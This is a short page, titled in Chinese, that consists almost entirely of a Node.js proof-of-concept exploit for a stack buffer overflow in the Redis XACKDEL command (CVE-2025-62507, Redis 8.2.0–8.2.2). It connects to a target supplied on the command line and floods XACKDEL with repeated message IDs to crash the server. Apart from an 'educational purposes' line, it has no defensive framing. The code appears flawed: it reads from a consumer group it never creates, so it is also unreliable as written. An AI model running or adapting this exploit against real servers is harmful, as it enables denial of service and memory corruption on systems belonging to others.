CVE-2025-62507 Redis XACKDEL命令栈缓冲区溢出漏洞

// CVE-2025-62507 Redis XACKDEL Stack Buffer Overflow PoC // Target: Redis 8.2.0 - 8.2.2 // Note: This PoC demonstrates the vulnerability for educational purposes only const redis = require('ioredis'); async function exploit(target, port = 6379) { const client = new redis({ host: target, port: port, password: '' // Add password if needed }); try { // Create a stream with some messages const streamKey = 'poc_stream'; await client.del(streamKey); // Add messages to the stream const msgIds = []; for (let i = 0; i < 100; i++) { const msgId = await client.xadd(streamKey, '*', 'field', `value${i}`); msgIds.push(msgId); } // Claim messages to create pending entries await client.xreadgroup('mygroup', 'consumer1', '1', 'COUNT', '100', 'STREAMS', streamKey, '>'); console.log(`[*] Stream created with ${msgIds.length} messages`); console.log(`[*] Messages claimed and made pending`); // Trigger the vulnerability by sending XACKDEL with many IDs // This causes stack buffer overflow in Redis 8.2.0-8.2.2 const maliciousIds = Array(1000).fill(msgIds[0]); const xackdelCmd = ['XACKDEL', streamKey, 'mygroup', ...maliciousIds]; console.log(`[*] Sending malicious XACKDEL command with ${maliciousIds.length} IDs...`); try { // This should trigger the buffer overflow await client.call(...xackdelCmd); } catch (e) { if (e.message.includes('OOM') || e.message.includes('ERR')) { console.log(`[+] Vulnerability triggered - server response: ${e.message}`); } } // Check if server is still responsive try { await client.ping(); console.log(`[*] Server still responsive`); } catch (e) { console.log(`[+] Server crashed or unresponsive - vulnerability confirmed!`); } } catch (error) { console.error(`[-] Error: ${error.message}`); } finally { await client.quit(); } } // Usage: node cve-2025-62507-poc.js <target_ip> const target = process.argv[2] || '127.0.0.1'; exploit(target);